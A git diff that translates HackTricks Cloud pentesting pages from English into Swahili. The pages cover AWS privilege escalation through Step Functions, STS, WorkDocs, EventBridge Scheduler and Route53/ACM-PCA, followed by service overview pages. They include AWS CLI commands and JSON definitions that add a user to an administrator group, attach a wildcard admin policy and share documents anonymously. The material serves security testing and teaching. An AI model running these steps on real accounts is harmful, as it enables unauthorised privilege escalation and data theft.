+"Bucket.$": "$.S3PutObjectParams.Bucket", +"Key.$": "$.S3PutObjectParams.Key" +}, +"End": true +} +} } ``` - -- **Command** executed to **create the state machine**: - +- **Amri** iliyotekelezwa ili **kuunda mashine ya hali**: ```bash aws stepfunctions create-state-machine --name MaliciousStateMachine --definition file://stateMachineDefinition.json --role-arn arn:aws:iam::123456789012:role/PermissiveRole { - "stateMachineArn": "arn:aws:states:us-east-1:123456789012:stateMachine:MaliciousStateMachine", - "creationDate": "2024-07-09T20:29:35.381000+02:00" +"stateMachineArn": "arn:aws:states:us-east-1:123456789012:stateMachine:MaliciousStateMachine", +"creationDate": "2024-07-09T20:29:35.381000+02:00" } ``` - -- **Command** executed to **start an execution** of the previously created state machine: - +- **Amri** iliyotekelezwa ku **anzisha utekelezaji** wa mashine ya hali iliyoundwa awali: ```json aws stepfunctions start-execution --state-machine-arn arn:aws:states:us-east-1:123456789012:stateMachine:MaliciousStateMachine { - "executionArn": "arn:aws:states:us-east-1:123456789012:execution:MaliciousStateMachine:1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f", - "startDate": "2024-07-09T20:33:35.466000+02:00" +"executionArn": "arn:aws:states:us-east-1:123456789012:execution:MaliciousStateMachine:1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f", +"startDate": "2024-07-09T20:33:35.466000+02:00" } ``` - > [!WARNING] -> The attacker-controlled S3 bucket should have permissions to accept an s3:PutObject action from the victim account. +> S3 bucket inayodhibitiwa na mshambuliaji inapaswa kuwa na ruhusa za kukubali hatua ya s3:PutObject kutoka kwa akaunti ya mwathirika. -**Potential Impact**: Unauthorized execution and manipulation of workflows and access to sensitive resources, potentially leading to significant security breaches. +**Madhara Yanayoweza Kutokea**: Utekelezaji usioidhinishwa na upotoshaji wa mifumo ya kazi na ufikiaji wa rasilimali nyeti, ambayo inaweza kusababisha uvunjaji mkubwa wa usalama. -### `states:UpdateStateMachine` & (not always required) `iam:PassRole` +### `states:UpdateStateMachine` & (sio lazima kila wakati) `iam:PassRole` -An attacker with the **`states:UpdateStateMachine`** permission would be able to modify the definition of an state machine, being able to add extra stealthy states that could end in a privilege escalation. This way, when a legitimate user starts an execution of the state machine, this new malicious stealth state will be executed and the privilege escalation will be successful. +Mshambuliaji mwenye ruhusa ya **`states:UpdateStateMachine`** angeweza kubadilisha ufafanuzi wa mashine ya hali, akiwa na uwezo wa kuongeza hali za siri ambazo zinaweza kuishia katika kupandisha hadhi. Kwa njia hii, wakati mtumiaji halali anapoanza utekelezaji wa mashine ya hali, hali hii mpya ya uhalifu itatekelezwa na kupandisha hadhi kutafanikiwa. -Depending on how permissive is the IAM Role associated to the state machine is, an attacker would face 2 situations: - -1. **Permissive IAM Role**: If the IAM Role associated to the state machine is already permissive (it has for example the **`arn:aws:iam::aws:policy/AdministratorAccess`** policy attached), then the **`iam:PassRole`** permission would not be required in order to escalate privileges since it would not be necessary to also update the IAM Role, with the state machine definition is enough. -2. **Not permissive IAM Role**: In contrast with the previous case, here an attacker would also require the **`iam:PassRole`** permission since it would be necessary to associate a permissive IAM Role to the state machine in addition to modify the state machine definition. +Kulingana na jinsi ruhusa ilivyo kubwa kwa IAM Role inayohusishwa na mashine ya hali, mshambuliaji angeweza kukutana na hali 2: +1. **IAM Role yenye Ruhusa Kubwa**: Ikiwa IAM Role inayohusishwa na mashine ya hali tayari ina ruhusa kubwa (ina mfano sera ya **`arn:aws:iam::aws:policy/AdministratorAccess`** iliyoambatanishwa), basi ruhusa ya **`iam:PassRole`** haitahitajika ili kupandisha hadhi kwani haitakuwa muhimu pia kubadilisha IAM Role, kwa kuwa ufafanuzi wa mashine ya hali unatosha. +2. **IAM Role Isiyo na Ruhusa Kubwa**: Kinyume na kesi ya awali, hapa mshambuliaji pia atahitaji ruhusa ya **`iam:PassRole`** kwani itakuwa muhimu kuunganisha IAM Role yenye ruhusa kubwa na mashine ya hali pamoja na kubadilisha ufafanuzi wa mashine ya hali. ```bash aws states update-state-machine --state-machine-arn [--definition ] [--role-arn ] [--logging-configuration ] \ [--tracing-configuration ] [--publish | --no-publish] [--version-description ] ``` - The following examples show how to update a legit state machine that just invokes a HelloWorld Lambda function, in order to add an extra state that adds the user **`unprivilegedUser`** to the **`administrator`** IAM Group. This way, when a legitimate user starts an execution of the updated state machine, this new malicious stealth state will be executed and the privilege escalation will be successful. > [!WARNING] -> If the state machine does not have a permissive IAM Role associated, it would also be required the **`iam:PassRole`** permission to update the IAM Role in order to associate a permissive IAM Role (for example one with the **`arn:aws:iam::aws:policy/AdministratorAccess`** policy attached). +> Ikiwa mashine ya hali haina Rol ya IAM inayoruhusu, itahitajika pia ruhusa ya **`iam:PassRole`** ili kuboresha Rol ya IAM ili kuunganisha Rol ya IAM inayoruhusu (kwa mfano moja yenye sera ya **`arn:aws:iam::aws:policy/AdministratorAccess`** iliyoambatanishwa). {{#tabs }} {{#tab name="Legit State Machine" }} - ```json { - "Comment": "Hello world from Lambda state machine", - "StartAt": "Start PassState", - "States": { - "Start PassState": { - "Type": "Pass", - "Next": "LambdaInvoke" - }, - "LambdaInvoke": { - "Type": "Task", - "Resource": "arn:aws:states:::lambda:invoke", - "Parameters": { - "FunctionName": "arn:aws:lambda:us-east-1:123456789012:function:HelloWorldLambda:$LATEST" - }, - "Next": "End PassState" - }, - "End PassState": { - "Type": "Pass", - "End": true - } - } +"Comment": "Hello world from Lambda state machine", +"StartAt": "Start PassState", +"States": { +"Start PassState": { +"Type": "Pass", +"Next": "LambdaInvoke" +}, +"LambdaInvoke": { +"Type": "Task", +"Resource": "arn:aws:states:::lambda:invoke", +"Parameters": { +"FunctionName": "arn:aws:lambda:us-east-1:123456789012:function:HelloWorldLambda:$LATEST" +}, +"Next": "End PassState" +}, +"End PassState": { +"Type": "Pass", +"End": true +} +} } ``` - {{#endtab }} -{{#tab name="Malicious Updated State Machine" }} - +{{#tab name="Mashine ya Hali Iliyosasishwa Mbaya" }} ```json { - "Comment": "Hello world from Lambda state machine", - "StartAt": "Start PassState", - "States": { - "Start PassState": { - "Type": "Pass", - "Next": "LambdaInvoke" - }, - "LambdaInvoke": { - "Type": "Task", - "Resource": "arn:aws:states:::lambda:invoke", - "Parameters": { - "FunctionName": "arn:aws:lambda:us-east-1:123456789012:function:HelloWorldLambda:$LATEST" - }, - "Next": "AddUserToGroup" - }, - "AddUserToGroup": { - "Type": "Task", - "Parameters": { - "GroupName": "administrator", - "UserName": "unprivilegedUser" - }, - "Resource": "arn:aws:states:::aws-sdk:iam:addUserToGroup", - "Next": "End PassState" - }, - "End PassState": { - "Type": "Pass", - "End": true - } - } +"Comment": "Hello world from Lambda state machine", +"StartAt": "Start PassState", +"States": { +"Start PassState": { +"Type": "Pass", +"Next": "LambdaInvoke" +}, +"LambdaInvoke": { +"Type": "Task", +"Resource": "arn:aws:states:::lambda:invoke", +"Parameters": { +"FunctionName": "arn:aws:lambda:us-east-1:123456789012:function:HelloWorldLambda:$LATEST" +}, +"Next": "AddUserToGroup" +}, +"AddUserToGroup": { +"Type": "Task", +"Parameters": { +"GroupName": "administrator", +"UserName": "unprivilegedUser" +}, +"Resource": "arn:aws:states:::aws-sdk:iam:addUserToGroup", +"Next": "End PassState" +}, +"End PassState": { +"Type": "Pass", +"End": true +} +} } ``` - {{#endtab }} {{#endtabs }} -- **Command** executed to **update** **the legit state machine**: - +- **Amri** iliyotekelezwa ili **kusasisha** **mashine halali ya hali**: ```bash aws stepfunctions update-state-machine --state-machine-arn arn:aws:states:us-east-1:123456789012:stateMachine:HelloWorldLambda --definition file://StateMachineUpdate.json { - "updateDate": "2024-07-10T20:07:10.294000+02:00", - "revisionId": "1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f" +"updateDate": "2024-07-10T20:07:10.294000+02:00", +"revisionId": "1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f" } ``` - -**Potential Impact**: Unauthorized execution and manipulation of workflows and access to sensitive resources, potentially leading to significant security breaches. +**Madhara Yanayoweza Kutokea**: Utekelezaji usioidhinishwa na upotoshaji wa michakato na ufikiaji wa rasilimali nyeti, ambayo inaweza kusababisha uvunjaji mkubwa wa usalama. {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc.md index 782bcc237..ccba2b273 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc.md @@ -6,121 +6,101 @@ ### `sts:AssumeRole` -Every role is created with a **role trust policy**, this policy indicates **who can assume the created role**. If a role from the **same account** says that an account can assume it, it means that the account will be able to access the role (and potentially **privesc**). - -For example, the following role trust policy indicates that anyone can assume it, therefore **any user will be able to privesc** to the permissions associated with that role. +Kila jukumu linaumbwa na **sera ya kuamini jukumu**, sera hii inaonyesha **nani anaweza kuchukua jukumu lililoundwa**. Ikiwa jukumu kutoka kwa **akaunti ile ile** linasema kwamba akaunti inaweza kulichukua, inamaanisha kwamba akaunti hiyo itakuwa na uwezo wa kufikia jukumu hilo (na kwa uwezekano **privesc**). +Kwa mfano, sera ifuatayo ya kuamini jukumu inaonyesha kwamba mtu yeyote anaweza kulichukua, hivyo basi **mtumiaji yeyote ataweza privesc** kwa ruhusa zinazohusiana na jukumu hilo. ```json { - "Version": "2012-10-17", - "Statement": [ - { - "Effect": "Allow", - "Principal": { - "AWS": "*" - }, - "Action": "sts:AssumeRole" - } - ] +"Version": "2012-10-17", +"Statement": [ +{ +"Effect": "Allow", +"Principal": { +"AWS": "*" +}, +"Action": "sts:AssumeRole" +} +] } ``` - -You can impersonate a role running: - +Unaweza kujifanya kuwa jukumu ukikimbia: ```bash aws sts assume-role --role-arn $ROLE_ARN --role-session-name sessionname ``` - -**Potential Impact:** Privesc to the role. +**Madhara Yanayoweza Kutokea:** Privesc kwa jukumu. > [!CAUTION] -> Note that in this case the permission `sts:AssumeRole` needs to be **indicated in the role to abuse** and not in a policy belonging to the attacker.\ -> With one exception, in order to **assume a role from a different account** the attacker account **also needs** to have the **`sts:AssumeRole`** over the role. +> Kumbuka kwamba katika kesi hii ruhusa `sts:AssumeRole` inahitaji kuwa **imeonyeshwa katika jukumu la kutumia vibaya** na si katika sera inayomilikiwa na mshambuliaji.\ +> Kwa ubaguzi mmoja, ili **kuchukua jukumu kutoka akaunti tofauti** akaunti ya mshambuliaji **pia inahitaji** kuwa na **`sts:AssumeRole`** juu ya jukumu. ### **`sts:GetFederationToken`** -With this permission it's possible to generate credentials to impersonate any user: - +Kwa ruhusa hii inawezekana kuzalisha akreditif za kujifanya mtumiaji yeyote: ```bash aws sts get-federation-token --name ``` - -This is how this permission can be given securely without giving access to impersonate other users: - +Hii ndiyo njia ambayo ruhusa hii inaweza kutolewa kwa usalama bila kutoa ufikiaji wa kujifanya kama watumiaji wengine: ```json { - "Version": "2012-10-17", - "Statement": [ - { - "Sid": "VisualEditor0", - "Effect": "Allow", - "Action": "sts:GetFederationToken", - "Resource": "arn:aws:sts::947247140022:federated-user/${aws:username}" - } - ] +"Version": "2012-10-17", +"Statement": [ +{ +"Sid": "VisualEditor0", +"Effect": "Allow", +"Action": "sts:GetFederationToken", +"Resource": "arn:aws:sts::947247140022:federated-user/${aws:username}" +} +] } ``` - ### `sts:AssumeRoleWithSAML` -A trust policy with this role grants **users authenticated via SAML access to impersonate the role.** - -An example of a trust policy with this permission is: +Sera ya kuaminiana na jukumu hili inatoa **watumiaji walioidhinishwa kupitia SAML ufikiaji wa kujifanya kuwa jukumu hilo.** +Mfano wa sera ya kuaminiana yenye ruhusa hii ni: ```json { - "Version": "2012-10-17", - "Statement": [ - { - "Sid": "OneLogin", - "Effect": "Allow", - "Principal": { - "Federated": "arn:aws:iam::290594632123:saml-provider/OneLogin" - }, - "Action": "sts:AssumeRoleWithSAML", - "Condition": { - "StringEquals": { - "SAML:aud": "https://signin.aws.amazon.com/saml" - } - } - } - ] +"Version": "2012-10-17", +"Statement": [ +{ +"Sid": "OneLogin", +"Effect": "Allow", +"Principal": { +"Federated": "arn:aws:iam::290594632123:saml-provider/OneLogin" +}, +"Action": "sts:AssumeRoleWithSAML", +"Condition": { +"StringEquals": { +"SAML:aud": "https://signin.aws.amazon.com/saml" +} +} +} +] } ``` - -To generate credentials to impersonate the role in general you could use something like: - +Ili kuzalisha akreditif za kujifanya kuwa na jukumu kwa ujumla unaweza kutumia kitu kama: ```bash aws sts assume-role-with-saml --role-arn --principal-arn ``` - -But **providers** might have their **own tools** to make this easier, like [onelogin-aws-assume-role](https://github.com/onelogin/onelogin-python-aws-assume-role): - +Lakini **watoa huduma** wanaweza kuwa na **zana zao** za kufanya hii iwe rahisi, kama [onelogin-aws-assume-role](https://github.com/onelogin/onelogin-python-aws-assume-role): ```bash onelogin-aws-assume-role --onelogin-subdomain mettle --onelogin-app-id 283740 --aws-region eu-west-1 -z 3600 ``` - -**Potential Impact:** Privesc to the role. +**Madhara Yanayoweza Kutokea:** Privesc kwa jukumu. ### `sts:AssumeRoleWithWebIdentity` -This permission grants permission to obtain a set of temporary security credentials for **users who have been authenticated in a mobile, web application, EKS...** with a web identity provider. [Learn more here.](https://docs.aws.amazon.com/STS/latest/APIReference/API_AssumeRoleWithWebIdentity.html) - -For example, if an **EKS service account** should be able to **impersonate an IAM role**, it will have a token in **`/var/run/secrets/eks.amazonaws.com/serviceaccount/token`** and can **assume the role and get credentials** doing something like: +Ruhusa hii inatoa ruhusa ya kupata seti ya akreditivu za usalama za muda kwa **watumiaji ambao wamethibitishwa katika programu za simu, wavuti, EKS...** na mtoa huduma wa utambulisho wa wavuti. [Jifunze zaidi hapa.](https://docs.aws.amazon.com/STS/latest/APIReference/API_AssumeRoleWithWebIdentity.html) +Kwa mfano, ikiwa **akaunti ya huduma ya EKS** inapaswa kuwa na uwezo wa **kujifanya kama jukumu la IAM**, itakuwa na tokeni katika **`/var/run/secrets/eks.amazonaws.com/serviceaccount/token`** na inaweza **kuchukua jukumu na kupata akreditivu** ikifanya kitu kama: ```bash aws sts assume-role-with-web-identity --role-arn arn:aws:iam::123456789098:role/ --role-session-name something --web-identity-token file:///var/run/secrets/eks.amazonaws.com/serviceaccount/token # The role name can be found in the metadata of the configuration of the pod ``` - -### Federation Abuse +### Unyanyasaji wa Shirikisho {{#ref}} ../aws-basic-information/aws-federation-abuse.md {{#endref}} {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-workdocs-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-workdocs-privesc.md index 4b1e5e7e9..b9a87779b 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-workdocs-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-workdocs-privesc.md @@ -2,7 +2,7 @@ ## WorkDocs -For more info about WorkDocs check: +Kwa maelezo zaidi kuhusu WorkDocs angalia: {{#ref}} ../aws-services/aws-directory-services-workdocs-enum.md @@ -10,17 +10,14 @@ For more info about WorkDocs check: ### `workdocs:CreateUser` -Create a user inside the Directory indicated, then you will have access to both WorkDocs and AD: - +Unda mtumiaji ndani ya Directory iliyoonyeshwa, kisha utakuwa na ufikiaji wa WorkDocs na AD: ```bash # Create user (created inside the AD) aws workdocs create-user --username testingasd --given-name testingasd --surname testingasd --password --email-address name@directory.domain --organization-id ``` - ### `workdocs:GetDocument`, `(workdocs:`DescribeActivities`)` -The files might contain sensitive information, read them: - +Faili zinaweza kuwa na taarifa nyeti, zisome: ```bash # Get what was created in the directory aws workdocs describe-activities --organization-id @@ -31,26 +28,19 @@ aws workdocs describe-activities --user-id "S-1-5-21-377..." # Get file (a url to access with the content will be retreived) aws workdocs get-document --document-id ``` - ### `workdocs:AddResourcePermissions` -If you don't have access to read something, you can just grant it - +Ikiwa huna ruhusa ya kusoma kitu, unaweza tu kukipatia. ```bash # Add permission so anyway can see the file aws workdocs add-resource-permissions --resource-id --principals Id=anonymous,Type=ANONYMOUS,Role=VIEWER ## This will give an id, the file will be acesible in: https://.awsapps.com/workdocs/index.html#/share/document/ ``` - ### `workdocs:AddUserToGroup` -You can make a user admin by setting it in the group ZOCALO_ADMIN.\ -For that follow the instructions from [https://docs.aws.amazon.com/workdocs/latest/adminguide/manage_set_admin.html](https://docs.aws.amazon.com/workdocs/latest/adminguide/manage_set_admin.html) - -Login with that user in workdoc and access the admin panel in `/workdocs/index.html#/admin` - -I didn't find any way to do this from the cli. - - +Unaweza kumfanya mtumiaji kuwa admin kwa kumweka katika kundi ZOCALO_ADMIN.\ +Ili kufanya hivyo, fuata maelekezo kutoka [https://docs.aws.amazon.com/workdocs/latest/adminguide/manage_set_admin.html](https://docs.aws.amazon.com/workdocs/latest/adminguide/manage_set_admin.html) +Ingia na mtumiaji huyo katika workdoc na upate paneli ya admin katika `/workdocs/index.html#/admin` +Sijapata njia yoyote ya kufanya hivi kutoka kwa cli. diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/eventbridgescheduler-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/eventbridgescheduler-privesc.md index 1519df70f..2d2d9b0af 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/eventbridgescheduler-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/eventbridgescheduler-privesc.md @@ -4,7 +4,7 @@ ## EventBridge Scheduler -More info EventBridge Scheduler in: +Maelezo zaidi kuhusu EventBridge Scheduler katika: {{#ref}} ../aws-services/eventbridgescheduler-enum.md @@ -12,42 +12,34 @@ More info EventBridge Scheduler in: ### `iam:PassRole`, (`scheduler:CreateSchedule` | `scheduler:UpdateSchedule`) -An attacker with those permissions will be able to **`create`|`update` an scheduler and abuse the permissions of the scheduler role** attached to it to perform any action - -For example, they could configure the schedule to **invoke a Lambda function** which is a templated action: +Mshambuliaji mwenye ruhusa hizo ataweza **`kuunda`|`kupdate` ratiba na kutumia ruhusa za jukumu la ratiba** lililounganishwa nayo kufanya kitendo chochote +Kwa mfano, wanaweza kuweka ratiba ili **kuitisha kazi ya Lambda** ambayo ni kitendo kilichotolewa: ```bash aws scheduler create-schedule \ - --name MyLambdaSchedule \ - --schedule-expression "rate(5 minutes)" \ - --flexible-time-window "Mode=OFF" \ - --target '{ - "Arn": "arn:aws:lambda:::function:", - "RoleArn": "arn:aws:iam:::role/" - }' +--name MyLambdaSchedule \ +--schedule-expression "rate(5 minutes)" \ +--flexible-time-window "Mode=OFF" \ +--target '{ +"Arn": "arn:aws:lambda:::function:", +"RoleArn": "arn:aws:iam:::role/" +}' ``` - -In addition to templated service actions, you can use **universal targets** in EventBridge Scheduler to invoke a wide range of API operations for many AWS services. Universal targets offer flexibility to invoke almost any API. One example can be using universal targets adding "**AdminAccessPolicy**", using a role that has "**putRolePolicy**" policy: - +Katika kuongeza hatua za huduma zilizotengenezwa, unaweza kutumia **universal targets** katika EventBridge Scheduler ili kuitisha anuwai kubwa ya operesheni za API kwa huduma nyingi za AWS. Universal targets hutoa kubadilika kuitisha karibu API yoyote. Mfano mmoja unaweza kuwa kutumia universal targets kuongeza "**AdminAccessPolicy**", kwa kutumia jukumu ambalo lina sera ya "**putRolePolicy**": ```bash aws scheduler create-schedule \ - --name GrantAdminToTargetRoleSchedule \ - --schedule-expression "rate(5 minutes)" \ - --flexible-time-window "Mode=OFF" \ - --target '{ - "Arn": "arn:aws:scheduler:::aws-sdk:iam:putRolePolicy", - "RoleArn": "arn:aws:iam:::role/RoleWithPutPolicy", - "Input": "{\"RoleName\": \"TargetRole\", \"PolicyName\": \"AdminAccessPolicy\", \"PolicyDocument\": \"{\\\"Version\\\": \\\"2012-10-17\\\", \\\"Statement\\\": [{\\\"Effect\\\": \\\"Allow\\\", \\\"Action\\\": \\\"*\\\", \\\"Resource\\\": \\\"*\\\"}]}\"}" - }' +--name GrantAdminToTargetRoleSchedule \ +--schedule-expression "rate(5 minutes)" \ +--flexible-time-window "Mode=OFF" \ +--target '{ +"Arn": "arn:aws:scheduler:::aws-sdk:iam:putRolePolicy", +"RoleArn": "arn:aws:iam:::role/RoleWithPutPolicy", +"Input": "{\"RoleName\": \"TargetRole\", \"PolicyName\": \"AdminAccessPolicy\", \"PolicyDocument\": \"{\\\"Version\\\": \\\"2012-10-17\\\", \\\"Statement\\\": [{\\\"Effect\\\": \\\"Allow\\\", \\\"Action\\\": \\\"*\\\", \\\"Resource\\\": \\\"*\\\"}]}\"}" +}' ``` - -## References +## Marejeo - [https://docs.aws.amazon.com/scheduler/latest/UserGuide/managing-targets-templated.html](https://docs.aws.amazon.com/scheduler/latest/UserGuide/managing-targets-templated.html) - [https://docs.aws.amazon.com/scheduler/latest/UserGuide/managing-targets-universal.html](https://docs.aws.amazon.com/scheduler/latest/UserGuide/managing-targets-universal.html) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/route53-createhostedzone-route53-changeresourcerecordsets-acm-pca-issuecertificate-acm-pca-getcer.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/route53-createhostedzone-route53-changeresourcerecordsets-acm-pca-issuecertificate-acm-pca-getcer.md index fc3563ce7..86a930eea 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/route53-createhostedzone-route53-changeresourcerecordsets-acm-pca-issuecertificate-acm-pca-getcer.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/route53-createhostedzone-route53-changeresourcerecordsets-acm-pca-issuecertificate-acm-pca-getcer.md @@ -2,7 +2,7 @@ {{#include ../../../banners/hacktricks-training.md}} -For more information about Route53 check: +Kwa maelezo zaidi kuhusu Route53 angalia: {{#ref}} ../aws-services/aws-route53-enum.md @@ -11,26 +11,22 @@ For more information about Route53 check: ### `route53:CreateHostedZone`, `route53:ChangeResourceRecordSets`, `acm-pca:IssueCertificate`, `acm-pca:GetCertificate` > [!NOTE] -> To perform this attack the target account must already have an [**AWS Certificate Manager Private Certificate Authority**](https://aws.amazon.com/certificate-manager/private-certificate-authority/) **(AWS-PCA)** setup in the account, and EC2 instances in the VPC(s) must have already imported the certificates to trust it. With this infrastructure in place, the following attack can be performed to intercept AWS API traffic. +> Ili kutekeleza shambulio hili, akaunti ya lengo lazima iwe tayari na [**AWS Certificate Manager Private Certificate Authority**](https://aws.amazon.com/certificate-manager/private-certificate-authority/) **(AWS-PCA)** iliyowekwa katika akaunti, na EC2 instances katika VPC(s) lazima ziwe tayari zimeagiza vyeti ili kuviamini. Kwa miundombinu hii kuwepo, shambulio lifuatalo linaweza kutekelezwa ili kukamata trafiki ya AWS API. -Other permissions **recommend but not required for the enumeration** part: `route53:GetHostedZone`, `route53:ListHostedZones`, `acm-pca:ListCertificateAuthorities`, `ec2:DescribeVpcs` +Mamlaka mengine **yanapendekezwa lakini si ya lazima kwa sehemu ya utafutaji**: `route53:GetHostedZone`, `route53:ListHostedZones`, `acm-pca:ListCertificateAuthorities`, `ec2:DescribeVpcs` -Assuming there is an AWS VPC with multiple cloud-native applications talking to each other and to AWS API. Since the communication between the microservices is often TLS encrypted there must be a private CA to issue the valid certificates for those services. **If ACM-PCA is used** for that and the adversary manages to get **access to control both route53 and acm-pca private CA** with the minimum set of permissions described above, it can **hijack the application calls to AWS API** taking over their IAM permissions. +Tukidhani kuna AWS VPC yenye programu nyingi za asili ya wingu zinazowasiliana na kila mmoja na AWS API. Kwa kuwa mawasiliano kati ya microservices mara nyingi yana TLS iliyosimbwa, lazima kuwe na CA ya kibinafsi kutoa vyeti halali kwa huduma hizo. **Ikiwa ACM-PCA inatumika** kwa hilo na adui anafanikiwa kupata **ufikiaji wa kudhibiti wote route53 na acm-pca private CA** kwa seti ndogo ya mamlaka iliyoelezwa hapo juu, inaweza **kuchukua wito wa programu kwa AWS API** ikichukua mamlaka yao ya IAM. -This is possible because: +Hii inawezekana kwa sababu: -- AWS SDKs do not have [Certificate Pinning](https://www.digicert.com/blog/certificate-pinning-what-is-certificate-pinning) -- Route53 allows creating Private Hosted Zone and DNS records for AWS APIs domain names -- Private CA in ACM-PCA cannot be restricted to signing only certificates for specific Common Names +- AWS SDKs haina [Certificate Pinning](https://www.digicert.com/blog/certificate-pinning-what-is-certificate-pinning) +- Route53 inaruhusu kuunda Private Hosted Zone na rekodi za DNS kwa majina ya kikoa ya AWS APIs +- CA ya kibinafsi katika ACM-PCA haiwezi kupunguzia tu kusaini vyeti kwa Majina ya Pamoja maalum -**Potential Impact:** Indirect privesc by intercepting sensitive information in the traffic. +**Athari Zinazoweza Kutokea:** Privesc isiyo ya moja kwa moja kwa kukamata taarifa nyeti katika trafiki. #### Exploitation -Find the exploitation steps in the original research: [**https://niebardzo.github.io/2022-03-11-aws-hijacking-route53/**](https://niebardzo.github.io/2022-03-11-aws-hijacking-route53/) +Pata hatua za unyakuzi katika utafiti wa asili: [**https://niebardzo.github.io/2022-03-11-aws-hijacking-route53/**](https://niebardzo.github.io/2022-03-11-aws-hijacking-route53/) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/README.md b/src/pentesting-cloud/aws-security/aws-services/README.md index dddd8ac04..d33fdf3ac 100644 --- a/src/pentesting-cloud/aws-security/aws-services/README.md +++ b/src/pentesting-cloud/aws-security/aws-services/README.md @@ -2,34 +2,30 @@ {{#include ../../../banners/hacktricks-training.md}} -## Types of services +## Aina za huduma -### Container services +### Huduma za kontena -Services that fall under container services have the following characteristics: +Huduma zinazoshughulika na huduma za kontena zina sifa zifuatazo: -- The service itself runs on **separate infrastructure instances**, such as EC2. -- **AWS** is responsible for **managing the operating system and the platform**. -- A managed service is provided by AWS, which is typically the service itself for the **actual application which are seen as containers**. -- As a user of these container services, you have a number of management and security responsibilities, including **managing network access security, such as network access control list rules and any firewalls**. -- Also, platform-level identity and access management where it exists. -- **Examples** of AWS container services include Relational Database Service, Elastic Mapreduce, and Elastic Beanstalk. +- Huduma yenyewe inafanya kazi kwenye **miundombinu tofauti**, kama EC2. +- **AWS** ina jukumu la **kusimamia mfumo wa uendeshaji na jukwaa**. +- Huduma inayosimamiwa inatolewa na AWS, ambayo kwa kawaida ni huduma yenyewe kwa **ombwe halisi ambayo yanaonekana kama kontena**. +- Kama mtumiaji wa huduma hizi za kontena, una majukumu kadhaa ya usimamizi na usalama, ikiwa ni pamoja na **kusimamia usalama wa ufikiaji wa mtandao, kama vile sheria za orodha ya udhibiti wa ufikiaji wa mtandao na moto wowote**. +- Pia, usimamizi wa utambulisho na ufikiaji wa kiwango cha jukwaa ambapo upo. +- **Mifano** ya huduma za kontena za AWS ni Huduma ya Hifadhi ya Taarifa, Elastic Mapreduce, na Elastic Beanstalk. -### Abstract Services +### Huduma za Abstrakti -- These services are **removed, abstracted, from the platform or management layer which cloud applications are built on**. -- The services are accessed via endpoints using AWS application programming interfaces, APIs. -- The **underlying infrastructure, operating system, and platform is managed by AWS**. -- The abstracted services provide a multi-tenancy platform on which the underlying infrastructure is shared. -- **Data is isolated via security mechanisms**. -- Abstract services have a strong integration with IAM, and **examples** of abstract services include S3, DynamoDB, Amazon Glacier, and SQS. +- Huduma hizi zimeondolewa, zimejengwa, kutoka kwa jukwaa au tabaka la usimamizi ambalo programu za wingu zimejengwa juu yake. +- Huduma zinapatikana kupitia maeneo ya mwisho kwa kutumia interfaces za programu za AWS, APIs. +- **Miundombinu ya msingi, mfumo wa uendeshaji, na jukwaa inasimamiwa na AWS**. +- Huduma za abstractions zinatoa jukwaa la multi-tenancy ambapo miundombinu ya msingi inashirikiwa. +- **Data inatengwa kupitia mitambo ya usalama**. +- Huduma za abstractions zina uhusiano mzuri na IAM, na **mifano** ya huduma za abstractions ni S3, DynamoDB, Amazon Glacier, na SQS. -## Services Enumeration +## Uhesabu wa Huduma -**The pages of this section are ordered by AWS service. In there you will be able to find information about the service (how it works and capabilities) and that will allow you to escalate privileges.** +**Kurasa za sehemu hii zimepangwa kwa huduma za AWS. Ndani yake utaweza kupata taarifa kuhusu huduma (jinsi inavyofanya kazi na uwezo) na hiyo itakuruhusu kupandisha mamlaka.** {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-api-gateway-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-api-gateway-enum.md index 09aa42d7c..ca8acbd29 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-api-gateway-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-api-gateway-enum.md @@ -6,38 +6,37 @@ ### Basic Information -AWS API Gateway is a comprehensive service offered by Amazon Web Services (AWS) designed for developers to **create, publish, and oversee APIs on a large scale**. It functions as an entry point to an application, permitting developers to establish a framework of rules and procedures. This framework governs the access external users have to certain data or functionalities within the application. +AWS API Gateway ni huduma kamili inayotolewa na Amazon Web Services (AWS) iliyoundwa kwa ajili ya waendelezaji **kuunda, kuchapisha, na kusimamia APIs kwa kiwango kikubwa**. Inafanya kazi kama lango la kuingia kwenye programu, ikiruhusu waendelezaji kuanzisha mfumo wa sheria na taratibu. Mfumo huu unadhibiti ufikiaji wa watumiaji wa nje kwa data au kazi fulani ndani ya programu. -API Gateway enables you to define **how requests to your APIs should be handled**, and it can create custom API endpoints with specific methods (e.g., GET, POST, PUT, DELETE) and resources. It can also generate client SDKs (Software Development Kits) to make it easier for developers to call your APIs from their applications. +API Gateway inakuwezesha kufafanua **jinsi maombi kwa APIs zako yanapaswa kushughulikiwa**, na inaweza kuunda mwisho wa API maalum na mbinu maalum (mfano, GET, POST, 